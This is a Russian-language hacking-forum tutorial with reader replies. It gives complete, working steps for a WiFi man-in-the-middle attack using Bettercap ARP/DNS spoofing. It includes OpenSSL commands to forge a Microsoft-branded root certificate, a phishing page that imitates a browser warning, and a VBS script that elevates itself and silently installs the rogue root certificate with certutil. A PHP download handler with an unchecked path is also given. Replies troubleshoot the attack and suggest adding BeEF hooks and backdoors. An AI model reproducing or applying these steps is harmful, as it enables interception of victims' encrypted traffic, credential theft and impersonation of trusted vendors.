Статья Bettercap 2.* Атака на WiFi сети - DNS&ARP Spoofing - Внедрение само-подписанного сертификата.

Содержание
  1. Предисловие
  2. Краткое описание
  3. Подготовка
    • Создание само-подписанного сертификата
    • Создание фишинговой HTML страницы
  4. Проведение атаки
  5. Итог проведённой атаки
  6. Анонс
Предисловие

В ходе цикла статей по Bettercap 2.*, решил выпустить "сезон подробных примеров" применения техник проведения атак использую фрэймворк Bettercap.
В этом "сезоне подробных статей" из цикла bettercap 2, будет подробно описаны примеры продуктивных атак, начиная с концепции и заканчивая проведением атаки в WiFi сетях.Подобные статьи описываются поверхностно и содержат только теоретическое содержание с минимальными инструкциями которые будут пригодными для практического применения. Эти статьи будут расписаны самым подробным образом и будут содержать подробные инструкции пригодные для практического применения в текущих реалиях.

Начнём с самого опасного и самого продуктивного примера проведения фишинговой атаки, которая будет внедрять само-подписанный SSL сертификат. Положительный результат проведённой атаки будет сказываться на остальных примерах атак.

DNS&ARP Spoofing - Внедрение само-подписанного сертификата.

Краткое описание проведения атаки.

Техника "DNS spoofing" используется для подмены IP адреса привязанного к доменному имени, подменив который заставляют посетить необходимый сервер.Подмена используется для того что бы атакуемая цель получила полезную нагрузку, либо для того что бы спровоцировать атакуемую цель на передачу ключей авторизации или другой необходимой информации в руки атакующего.
Техника "ARP spoofing" используется для подмены MAC адреса который привязан к необходимому IP адресу. Таким образом заставляют отправлять сетевые пакеты по необходимому маршруту. Для того что бы атаковать целенаправленно используют технику "ARP spoofing" с указанием IP адреса атакуемого.

Атака "DNS&ARP Spoofing - Install rogue certificate." использует две эти техники таким образом, что бы заставить атакуемую цель скачать само-подписанные сертификаты и установить эти сертификаты в внутренние хранилище сертификатов на атакуемой машине.
Атакующий поднимает HTTP сервер, на котором размещается страница с провоцирующим на установку само-подписанных сертификатов сообщением и ссылками для скачивания сертификатов.
Сообщение обязано быть в первую очередь правдоподобным и не вызывать каких либо сомнений у пользователя под управлением которого атакуемая машина.

После того как поддельные сертификаты будут установлены на атакуемом хосте, атакующий использует сертификаты для прослушивания сетевого трафика, а так же управлением этого трафика.
Установка сертификатов на атакуемом хосте, открывают HTTPS трафик для открытого просмотра и трафик читается так как читается трафик HTTP.

Подготовка

Создание само-подписанного сертификата

Для создания само-подписанного SSL сертификата будет использоваться криптографическая библиотека (скачать можно или с GitHub, для Windows ).
Действия будут проводится в ОС Windows, но в других ОС порядок действий будет таким же и ни чем отличаться не будет.
Первое - сертификат должен правдоподобно выглядеть и содержать названия и имена компании на которую будет опираться предлог установки сертификатов. То есть сертификат будет поддельным и похож на легитимный сертификат официально зарегистрированной компании.
Так как в качестве атакуемой цели будет хост на борту которого установлена ОС Windows, то и сертификат будет подделываться под компанию Microsoft. Для MacOS сертификат соответственно будет подделываться под компанию Aplle, а вот под Unix подобную ОС, придётся подбирать в зависимости установленного дистрибутива или броузера в котором происходит сёрфинг по просторам сети интернет.

Идём на официальный сайт Microsoft " " и копируем содержание сертификата, поле "издатель":

img1.png


Теперь используя OpenSSL создаём поддельный центр сертификации в котором поля будут содержать текст аналогичный microsoft.
Создаём приватный ключ, файл "prive.key":
Код:
openssl genrsa -out prive.key 4096
Теперь генерируем сертификат, вариант заполнять поля в режиме консоли:
Код:
openssl req -new -x509 -days 365 -key prive.key -out ca.pem
img2.png


Либо создать файл конфигурации "cfg" (или другим именем) который будет содержать в себе следующее:
Код:
[ req ]
default_bits           = 2048
default_keyfile        = prive.key
distinguished_name     = req_distinguished_name
prompt                 = no
[ req_distinguished_name ]
CN=US
ST=Washington
L=Redmond
O=Microsoft Corporation
OU=Microsoft IT
CN=Microsoft IT TLS CA 4
Содержимое файла конфигурации изменяется в зависимости компании на которую будет подделываться сертификат и желаемой правдоподобности подделанного сертификата.
И обратимся к OpenSSL с следующей командой:
Код:
openssl req -new -x509 -days 365 -config cfg -key prive.key -out ca.pem
Сертификат с приватным ключом создан.Полученные файлы будут использоваться в Bettercap, файл "ca.pem" будет задействован в vbs скрипте для автоматической установки в хранилище сертификатов на атакуемой машине.
Для установке на атакуемом хосте двойным нажатием правой кнопки мыши конвертируем из "pem" в "crt" следующей командой:
Код:
openssl x509 -outform der -in ca.pem -out ca.crt
Создание фишинговой HTML страницы

Возможно создание страницы с содержащей текст ошибки или уведомления об какой либо ошибки безопасности, главное что бы содержание страницы не вызвало ни какого подозрения и спровоцировало на установку предложенных сертификатов.
Как правдоподобный вариант в приведённом примере будет использоваться переделанная страница с предупреждением браузера Firefox : " Предупреждение: Вероятная угроза безопасности".

img3.png


Получаем исходный код такой страницы и редактируем подделывая под ошибку вызванную ОС или броузером, с содержащей в итоге сообщение в котором будет говорится о том, что установить сертификаты с ссылок это необходимость которая решит проблему безопасности.И без установки сертификатов дальнейший сёрфинг по сети интернет невозможен.
Страница используемая при ошибках или предупреждениях Google Chrome выглядит чище и вызывает большее доверие, поэтому решил редактировать и адаптировать под нужды страницу Chrome.

img4.png


Возможно копирование страницы, возможно будет принято другое решение и создадите другую страницу которая будет правдоподобней, но выбор пал на страницу Chrome. Не много подправив, получаем вот такую страницу:

img5.png


Для автоматической установки сертификата на атакуемый хост будет использоваться простейший vbs скрипт:
Код:
Dim str

str = "-----BEGIN CERTIFICATE-----MIIFgzCCA2sCFG2WNJLchKu9Rr0/HjscNBl9E0u+MA0GCSqGSIb3DQEBCwUAMH4xEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1JlZG1vbmQxHjAcBgNVBAoMFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECwwMTWljcm9zb2Z0IElUMR4wHAYDVQQDDBVNaWNyb3NvZnQgSVQgVExTIENBIDQwHhcNMTkwNTE4MTYyODUwWhcNMjAwNTE3MTYyODUwWjB+MRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdSZWRtb25kMR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsMDE1pY3Jvc29mdCBJVDEeMBwGA1UEAwwVTWljcm9zb2Z0IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwe2T/4cYlCPrc47l/ksv2dA4VQYEJ6zcSIO86me09YMiDRfCE2d/zK6w7mDCOPbedlcoOXeMegrG3qNPXHIIAg1669KQTuaHEYqKkEnh20EMEbRwQIV2+dmfftfErPkV9LNft1/SNdTEzAkcEO9Youg/2QmD3sUWdFOOF0nHLv8S3NpVCSmAAbuQw6l54YfgNNLng0cRcdapFjOVW7B6KXQQpEE/JC8Vj6Mt3LZHkE8KirpL7q6QO5Bis7GQCkqtNbedjAN7hu2XszuTxwT7fvGP6nYQMR5qFxoq0YuAMAYHB9iFCuZe6WLo6RcE50KIC096Adbkt/iJwoWphQGjTzQPo7tYjcUA2JuBRL6YyTQv8Nne/fHl40FZybKziYzx4CyuVvyYLEqkfPKMT84WrnKcKhzbw7yfgnacsmR7hmVCBms9HsYA/8APqU/MgtYR3ppO5/PeitUpe7JLF1/Cs1MPmyI84UnYwR2r2Q3EH5mH+aVKJKUtEDihhaXRztvhx5xTHd4zPEiTT0FUZFDnfeQxlPsgSCG/iPFKEhW0nFBU0Plhmlep4QqW+AJnX6QGV9rn67adM/k0c0T6lQ/AFfR+ps5pYh5QUP4nnwy9OZ2kxIeHinFA1CzRZM4V27+QF20ZFc3Je2e/tXqJ3CGhA2azsAcHHFfCLT91qzghbb8CAwEAATANBgkqhkiG9w0BAQsFAAOCAgEAixpRvb8Unh5pl2tikgBds7MSF3KLi2Jf8mhMTWYaaNZagFrlYhtSzHTIpV+jt60YVK/RKhO2kSzmas0wUTlenV2OINcK5inE/U4ZlSwAq6hJwOmrxZXPT9axFr168/+7k/4ByymICRT240EHjskjdmyjaEu0JMGMggMVN4pUqsXVSiJYmARJQL9gB4/JFvi4s0E+RCAfFlkjaC1EvOQqcKYXE1OOAzzOUugD/yTAHJfvDeYhD0H6Sk/xGVTwiF21kNTRO9XP96cXPV6jS7Pn6XmH7qGZTbCsLK/okDOyv3/rBTh0vj8MdwuEq/aPahV7pC1dPtsqAHQ8UeOiA32VevyOLKalteFMlamH/gUjeuiShwAgc5rYO6o7s0u3Ien4g1n63dIyqVwF6LLESFDvPOZC36y8m2ScOa40dcBPwuMOysmZGOHx/zXNEBZaDuMhWNPIXhtVaUJHCHe9c1f92d/jKa/FBEp80iMUkFvIkU/mn352d0LM38XIv9vxBq0p5QDFZ/s3P0VG3jDhBUS77PlPzE11DKny0XDL8f7h+o52d6btGF/mVGaDSOAXiDeT7oyoIYxLeL1TxYkQjQt9rEQSItoAbHSyKd8+OeilM3UFxoVq6x/55SkgIPPC3X3O8+Npi3CUmqKso1/bRu14KQwA+uZ0AF0gHXbLC+fCBtE=-----END CERTIFICATE-----"

Set objFSO=CreateObject("Scripting.FileSystemObject")


outFile="certificate_microsoft.crt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write str
objFile.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
  If WScript.Arguments.length = 0 Then
  Set ObjShell = CreateObject("Shell.Application")
  ObjShell.ShellExecute "wscript.exe", """" & _
  WScript.ScriptFullName & """" &_
  " RunAsAdministrator", , "runas", 1
  End if

Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
objShell.run "certutil -addstore -f AuthRoot certificate_microsoft.crt"
Set objShell = Nothing
Содержимое переменной "str" меняется на содержание файла созданного сертификата "ca.crt", для корректной работы скрипта переносы строк из файла сертификата удаляются.
Исходный код отредактированной страницы будет во вложение, так как исходный код содержит много символов.

Ещё один стратегический момент который будет обнаружен во время атаки, это ошибка сервера "404 File Not Found.".
Так как не известно с какого адреса будет переадресован атакуемый, создаётся свод правил в виде ".htaccess" файла:
Код:
RewriteEngine On

RewriteCond %{SCRIPT_FILENAME} !-d
RewriteCond %{SCRIPT_FILENAME} !-f

RewriteRule ^(.*)$ ./
Этот файл помещается в корневую директорию поддельного сайта где расположена созданная страница.Таким образом, с какой бы страницы не перебросило атакуемого, в адресной строке адрес не изменится и атакуемый не увидит ошибки "404 File Not Found.".
Для корректной загрузки файлов при нажатие на ссылки или кнопку, создадим "php" скрипт который будет отдавать необходимые файлы вместо того что бы показывать содержимое файлов.Создадим папку "cert" и поместим в эту папку скрипт с именем "index.php" и содержимым:
Код:
<?php

if(file_exists($_GET["dwn"]))
{
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=" . urlencode($_GET["dwn"]));
    header("Content-Length: " . filesize($_GET["dwn"]));
    readfile($_GET["dwn"]);
}

?>
В папку "cert" поместим скрипт vbs с именем "certificate_install.vbs" и созданный сертификат, назовём "certificate_microsoft.crt", если имена совпадают, то возможно использование страницы которая будет во вложение.
Ещё один момент с HTTP сервером, так как "http.server" в bettercap не понимает правил и файлов htaccess, то использовать будет лучше Apache.

Проведение атаки

В качестве атакующей стороны будет хост с установленной ParrotOS, в которой установлен Bettercap, в качестве атакуемой стороны будет хост с установленной Windows 7, с Windows моложе 7 обязано работать так же.
Помещаем файлы фишинговой страницы в директорию сервера и запускаем apache:
Код:
sudo service apache2 start
Далее запускаем bettercap и используем следующие опции:
Код:
sudo bettercap

set dns.spoof.address 192.168.0.14
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.0.13
  • set dns.spoof.address 192.168.0.14 - Указываем IP адрес который будет подставляться, адрес атакующего сервера.
  • set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.рф - Здесь указываем домены с которых будет перебрасывать на сервер атакующего, возможно указать конкретный адрес, но лучше указать домены первого уровня.
  • set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.рф - Аналогично опции dns.spoof.domains.
  • set arp.spoof.targets 192.168.0.13 - Указываем IP адрес атакуемого хоста.

Теперь запускаем "модули":
Код:
dns.spoof on
dhcp6.spoof on
arp.ban on
  • dns.spoof on - Включаем DNS spoofing который будет отправлять IP атакующего сервера на запросы атакуемого хоста.
  • dhcp6.spoof on - Аналогично, но касается адресов IP6.
  • arp.ban on - Включаем глушение сети относительно атакуемого хоста.

Как результат с использованием защищённого соединения HTTPS на атакуемом хосте броузер будет выводить подобные сообщения:

img6_codeb.png


При нажатие на кнопку будет перекидывать на фишинговую страницу которую приготовил атакуемый:

img7_codeb.png


Такие сообщения выводит броузер Firefox, броузер Chrome будет выводить аналогичные сообщения и вести себя аналогично:

img8_codeb.png


img9_codeb.png


Что касается случаев с использованием незащищённого HTTP соединения на атакуемом хосте, то сообщение с просьбой подключения к сети будет игнорироваться и будет сразу выводится фишинговая страница не перебрасывая ни на какие адреса:

img11_codeb.png


Нажимая на кнопку сертификат свободно загружается:

img10_codeb.png


Для того что бы понять что сертификат скачен, добавим кусок кода в php скрипт :
Код:
$f=fopen("log.txt","a+");
fwrite($f,$_GET["dwn"]);
fclose($f);
Вставить этот кусок кода в конец скрипта , перед закрывающей скобкой "}".
Таким образом при скачивание сертификата или скрипта с сервера атакуемого, в директории "cert" будет создан файл "log.txt" и в котором будет указано имя файла который будет скачен.

Итог проведённой атаки

Как результат установленного сертификата на атакуемом хосте, атакующий используя этот сертификат в bettercap будет читать и управлять трафиком на атакуемом хосте при использование защищённого соединения HTTPS, так же как и при использование незащищённого HTTP.

img13_codeb.png


img14_codeb.png


img12_codeb.png


Имея ключ сертификата возможна расшифровка перехваченного трафика, так же помимо внедрения кода JS, возможно фишинговое обновление для обновлений установленных программ и обновлений windows.

Анонс

Продолжим с техники внедрения JS кода в HTML код страниц, рассмотрим подробно пример внедрения скрипта фрэймворка Beef-xss, в ходе которого будет приведён простейший пример кода написанного на языке "Golang" для получение удалённого доступа. Так же будут приведены примеры простейшего JS кода, которые будут нести скорее шуточный характер.
Далее в сезоне будут описаны примеры внедрения HTML тэга "iframe", который будет альтернативным решением для перехвата ключей авторизации в условиях отключения JS скриптов.

Продолжение следует...
 

Вложения

  • fls.zip
    fls.zip
    47,6 КБ · Просмотры: 430
Можно меньше париться, и подцепить beef через jquery или какую-то другую либу, чем трафик перехватывать. А потом забайтить юзера, скачать backdoor.
 
если делаешь спуфинг, чекни nslookup днс серва. возможно, у тебя стоять гугловские или опен днс.
И дигом чекни респонс со своего днс сервера
Вот, сделал скриншоты двух программ, обе они показывают одинаковый ответ для двух сайтов (существующий и не существующий). Но на существующий, vk.com браузер не заходит, а на другой успешно заходит выдавая нужную страницу, в чем может быть проблема?
На роутере стоял dns провайдера и дополнительный гугла. После неудачных попыток я попробовал заменить эти dns серверы на ip атакующей машины (Просто решил проверить, но не помогло). А так же проверял все сайты на разны браузерах: Yandex,Chrome,Microsoft edge, Internet explorer, Firefox. Результат везде один и тот же: Несуществующий домен успешно подменяется, а существующий нет.
 

Вложения

  • Screenshot_1.png
    Screenshot_1.png
    207,8 КБ · Просмотры: 51
  • Screenshot_2.png
    Screenshot_2.png
    24,7 КБ · Просмотры: 51
  • Screenshot_3.png
    Screenshot_3.png
    202,4 КБ · Просмотры: 56
Вот, сделал скриншоты двух программ, обе они показывают одинаковый ответ для двух сайтов (существующий и не существующий). Но на существующий, vk.com браузер не заходит, а на другой успешно заходит выдавая нужную страницу, в чем может быть проблема?
На роутере стоял dns провайдера и дополнительный гугла. После неудачных попыток я попробовал заменить эти dns серверы на ip атакующей машины (Просто решил проверить, но не помогло). А так же проверял все сайты на разны браузерах: Yandex,Chrome,Microsoft edge, Internet explorer, Firefox. Результат везде один и тот же: Несуществующий домен успешно подменяется, а существующий нет.
nslookup в студию
 
На счёт портов я фигню сморозил, это надо для dnsmasq
 
В любом случае на время тестов я отключал и брандмауэр и антивирус. Сбросил днс кэш командой ipconfig /flushdns и на всякий случай отчистил таблицу маршрутиризации. Итог один и тот же) Существующий не работает.
 
ладно, еще как варик, проверь настройку dns over https в браузерах, и проверь через dnsleak сервера
 
Интересно, а как люди будут реагировать - когда им предлагают скачать что то подозрительное :D Мне бы показалось это как минимум странным
 
Интересно, а как люди будут реагировать - когда им предлагают скачать что то подозрительное :D Мне бы показалось это как минимум странным
я могу такой пример привести, я тут одному молодому человеку показал папку download и вообще как пользоваться "проводником" на его смартфоне. С тех пор ко мне уже "..надцатый " человек с работы обращаетс с просьбой "починить Инстаграм". При этом сообщают мне все пароли и доступы, когда к примеру госуслуги глючат и всякое такое . Поэтому могу сказать , что реагировать будут ровно диаметрально противоположно. "Не знаю чё хрень трогать не буду! И "О чё за хрень надо посмотреть.
P.S : люди интересующиеся айти , и преимущественно общающиеся с подобными себе, вообще не представляют границ технической безграмотности большинства людей причем совершенно независимо от возраста
 
я могу такой пример привести, я тут одному молодому человеку показал папку download и вообще как пользоваться "проводником" на его смартфоне. С тех пор ко мне уже "..надцатый " человек с работы обращаетс с просьбой "починить Инстаграм". При этом сообщают мне все пароли и доступы, когда к примеру госуслуги глючат и всякое такое . Поэтому могу сказать , что реагировать будут ровно диаметрально противоположно. "Не знаю чё хрень трогать не буду! И "О чё за хрень надо посмотреть.
P.S : люди интересующиеся айти , и преимущественно общающиеся с подобными себе, вообще не представляют границ технической безграмотности большинства людей причем совершенно независимо от возраста
Фиг знает, мне кажется это уж совсем для тех кто ничего не шарит, но и получается тогда и смысл этой атаки теряется, если человек не шарит у него врят ли есть что то интересное ... :D хотя это всего лишь предположение...
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!